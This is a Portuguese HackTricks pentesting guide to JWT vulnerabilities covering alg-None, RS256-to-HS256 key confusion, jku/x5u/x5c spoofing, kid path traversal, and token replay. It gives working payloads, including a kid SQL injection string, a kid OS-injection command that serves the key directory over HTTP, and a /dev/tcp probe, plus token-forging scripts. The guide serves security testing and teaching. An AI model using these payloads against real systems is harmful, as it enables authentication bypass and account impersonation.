hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

258 lines
18 KiB
Markdown
Raw Normal View History

# Vulnerabilidades JWT (Json Web Tokens)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
![](<../.gitbook/assets/image (638) (3).png>)
2022-04-28 16:01:33 +00:00
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
2022-04-30 20:31:18 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-06-06 18:56:34 +00:00
**Parte deste post foi retirada de:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor da excelente ferramenta para pentest de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Vitórias Rápidas**
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde pelas linhas verdes
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Se você tiver sorte, a ferramenta encontrará algum caso em que a aplicação web está verificando incorretamente o JWT:
![](<../.gitbook/assets/image (435).png>)
Então, você pode procurar a requisição no seu proxy ou despejar o JWT usado para essa requisição usando jwt_tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Alterar dados sem modificar nada
Você pode simplesmente alterar os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente mudar seu nome de usuário para "admin", por exemplo.
#### **O token está sendo verificado?**
* Se ocorrer uma mensagem de erro, a assinatura está sendo verificada - leia qualquer informação de erro detalhada que possa vazar algo sensível.
* Se a página retornada for diferente, a assinatura está sendo verificada.
* Se a página for a mesma, então a assinatura não está sendo verificada - hora de começar a alterar as reivindicações do Payload para ver o que você pode fazer!
2023-06-06 18:56:34 +00:00
### Origem
Verifique de onde o token se originou no histórico de solicitações do seu proxy. Ele deve ser criado no servidor, não no cliente.
* Se foi visto pela primeira vez vindo do lado do cliente, então a **chave** é acessível ao código do lado do cliente - procure-a!
* Se foi visto pela primeira vez vindo do servidor, então está tudo bem.
2023-06-06 18:56:34 +00:00
### Duração
Verifique se o token dura mais de 24h... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
### Força bruta na chave secreta HMAC
2023-06-06 18:56:34 +00:00
[**Veja esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
2023-06-06 18:56:34 +00:00
### Modificar o algoritmo para None (CVE-2015-9235)
2023-06-06 18:56:34 +00:00
Defina o algoritmo usado como "None" e remova a parte da assinatura.
Use a extensão Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e para alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na aba "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" para "None").
### Mudar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
2023-06-06 18:56:34 +00:00
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.\
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
Se você mudar o algoritmo de RS256 para HS256, o código do back end usa a chave pública como chave secreta e depois usa o algoritmo HS256 para verificar a assinatura.
Então, usando a chave pública e mudando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isto:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nova chave pública no cabeçalho
2023-06-06 18:56:34 +00:00
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).
2023-06-06 18:56:34 +00:00
Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
(Envie a solicitação para o Repeater, na aba JSON Web Token selecione "CVE-2018-0114" e envie a solicitação).
### JWKS Spoofing
Se o token usa uma reivindicação de cabeçalho “jku”, então verifique a URL fornecida. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Altere o token para apontar o valor de jku para um serviço web que você possa monitorar o tráfego.
Se você receber uma interação HTTP, agora sabe que o servidor está tentando carregar chaves da URL que você está fornecendo. _Use a flag -S do jwt\_tool junto com o argumento -u_ [_http://example.com_](http://example.com) _para gerar um novo par de chaves, injetar sua URL fornecida, gerar um JWKS contendo a Chave Pública e assinar o token com a Chave Privada_
2023-06-06 18:56:34 +00:00
### Problemas com "kid"
`kid` é uma reivindicação de cabeçalho opcional que contém um identificador de chave, particularmente útil quando você tem várias chaves para assinar os tokens e precisa procurar a certa para verificar a assinatura.
2023-06-06 18:56:34 +00:00
#### Problemas com "kid" - revelar chave
Se a reivindicação "kid" é usada no cabeçalho, verifique o diretório web para esse arquivo ou uma variação dele. Por exemplo, se `"kid":"key/12345"`, então procure por _/key/12345_ e _/key/12345.pem_ na raiz web.
#### Problemas com "kid" - path traversal
Se a reivindicação "kid" é usada no cabeçalho, verifique se você pode usar um arquivo diferente no sistema de arquivos. Escolha um arquivo cujo conteúdo você possa prever, ou talvez tente `"kid":"/dev/tcp/seuIP/seuPorto"` para testar conectividade, ou até mesmo alguns payloads de **SSRF**...\
_Use a flag -T do jwt\_tool para alterar o JWT e mudar o valor da reivindicação kid, depois escolha manter a assinatura original_
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Utilizando arquivos dentro do host com conteúdo conhecido, você também pode forjar um JWT válido. Por exemplo, em sistemas Linux o arquivo `/proc/sys/kernel/randomize_va_space` tem o valor definido para **2**. Então, colocando esse **caminho** dentro do parâmetro "**kid**" e usando "**2**" como a **senha simétrica** para gerar o JWT, você deve ser capaz de gerar um novo JWT válido.
2020-12-03 10:09:49 +00:00
#### Problemas com "kid" - SQL Injection
Em um cenário onde o conteúdo do "kid" é usado para recuperar a senha do banco de dados, você poderia alterar o payload dentro do parâmetro "kid" para: `non-existent-index' UNION SELECT 'ATTACKER';-- -` e então assinar o JWT com a chave secreta `ATTACKER`.
#### Problemas com "kid" - OS Injection
Em um cenário onde o parâmetro "kid" contém um caminho para o arquivo com a chave e esse caminho está sendo usado **dentro de um comando executado**, você poderia ser capaz de obter RCE e expor a chave privada com um payload como o seguinte: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### Ataques Diversos
As seguintes são fraquezas conhecidas que devem ser testadas.
**Ataques de retransmissão entre serviços**
Algumas aplicações web usam um serviço JWT confiável para gerar e gerenciar tokens para eles. No passado, ocorreram alguns casos em que um token gerado para um dos clientes do serviço JWT poderia ser aceito por outro cliente do serviço JWT.\
Se você observar o JWT sendo emitido ou renovado por um serviço terceirizado, vale a pena identificar se você pode se inscrever para uma conta em outro cliente desse serviço com o mesmo nome de usuário/email. Se sim, tente pegar esse token e retransmiti-lo em uma solicitação para o seu alvo. Ele é aceito?
* Se o seu token for aceito, então você pode ter um problema crítico permitindo que você se passe por qualquer conta de usuário. NO ENTANTO, esteja ciente de que, se você está se inscrevendo em um aplicativo de terceiros, pode ser necessário buscar permissão para testes mais amplos em caso de entrar em uma área cinzenta legal!
**O exp é verificado?**
A reivindicação "exp" do Payload é usada para verificar a expiração de um token. Como os JWTs são frequentemente usados na ausência de informações de sessão, eles precisam ser tratados com cuidado - em muitos casos, capturar e retransmitir o JWT de outra pessoa permitirá que você se passe por esse usuário.\
Uma mitigação contra ataques de retransmissão de JWT (que é aconselhada pelo RFC do JWT) é usar a reivindicação "exp" para definir um tempo de expiração para o token. Também é importante definir as verificações relevantes no aplicativo para garantir que esse valor seja processado e o token rejeitado quando estiver expirado. Se o token contém uma reivindicação "exp" e o tempo de teste permitir - tente armazenar o token e retransmiti-lo após o tempo de expiração ter passado. _Use a flag -R do jwt\_tool para ler o conteúdo do token, que inclui análise de carimbo de data/hora e verificação de expiração (carimbo de data/hora em UTC)_
* Se o token ainda validar no aplicativo, então isso pode ser um risco de segurança, pois o token pode NUNCA expirar.
2023-06-06 18:56:34 +00:00
### x5u e jku
2022-05-01 13:25:53 +00:00
#### jku
jku significa **URL do Conjunto JWK**.\
Se o token usa uma reivindicação de **Cabeçalho** “**jku**”, então **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Altere o token para apontar o valor jku para um serviço web que você possa monitorar o tráfego.
Primeiro você precisa criar um novo certificado com novas chaves privadas e públicas
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
2023-06-06 18:56:34 +00:00
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser o utilizado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. Segurança de transporte é necessária para transferir os certificados.
Tente **alterar este cabeçalho para uma URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
2023-06-06 18:56:34 +00:00
Para forjar um novo token usando um certificado controlado por você, você precisa criar o certificado e extrair as chaves pública e privada:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado.**
![](<../.gitbook/assets/image (439).png>)
2023-06-06 18:56:34 +00:00
Você também pode abusar dessas duas vulnerabilidades **para SSRFs**.
2022-05-01 13:25:53 +00:00
#### x5c
2023-06-06 18:56:34 +00:00
Este parâmetro pode conter o **certificado em base64**:
![](<../.gitbook/assets/image (440).png>)
Se o atacante **gerar um certificado autoassinado** e criar um token forjado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, nomeadamente n, e e x5t, então, essencialmente, o token forjado seria aceito pelo servidor.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Chave Pública Embutida (CVE-2018-0114)
Se o JWT tiver uma chave pública embutida como no seguinte cenário:
![](<../.gitbook/assets/image (438).png>)
Usando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
É possível gerar uma nova chave privada/pública, incorporar a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
2023-06-06 18:56:34 +00:00
Você pode obter o "n" e o "e" usando este script nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finalmente, usando a chave pública e privada e os novos valores de "n" e "e", você pode usar [jwt.io](https://jwt.io) para forjar um novo JWT válido com qualquer informação.
### JTI (Identificador JWT)
O JTI (Identificador JWT) fornece um identificador único para um Token JWT. Pode ser usado para prevenir a repetição do token.\
No entanto, imagine uma situação onde o comprimento máximo do ID é 4 (0001-9999). A requisição 0001 e 10001 vão usar o mesmo ID. Então, se o backend está incrementando o ID a cada requisição, você poderia abusar disso para **repetir uma requisição** (necessitando enviar 10000 requisições entre cada repetição bem-sucedida).
### JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2023-06-06 18:56:34 +00:00
### Ferramentas
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje, e comece a ganhar recompensas de até **$100,000**!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>